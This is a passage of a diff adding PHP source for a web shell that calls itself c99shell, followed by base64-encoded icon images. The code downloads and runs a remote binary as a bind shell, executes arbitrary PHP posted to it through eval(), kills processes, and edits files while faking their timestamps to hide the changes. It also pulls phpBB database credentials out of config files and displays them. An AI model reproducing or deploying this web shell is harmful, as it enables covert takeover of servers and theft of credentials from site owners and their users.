=="freadcan") +{ +dosyayicek($adires,"sayko_bind"); +myshellexec("./sayko_bind"); +} + +else if ($sayko == "lynxcan") +{ +myshellexec("lynx -dump $adires > sayko_bind;chmod 777 sayko_bind;./sayko_bind"); + +} + + + + + +} + +if (!empty($_POST['erorr'])) +{ + + + +error_log($_POST['erorr'], 3, "php://".$_POST['nere']); + + + +} + + + + + + + + + +} +if ($act == "processes") +{ + echo "<b>Processes:</b><br>"; + if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) +{ + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode("",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode("",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo "</tr>"; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $i=>$k) + { + echo "<tr>"; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {c99shexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {c99shexit();} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + $images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"refresh"=> +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". 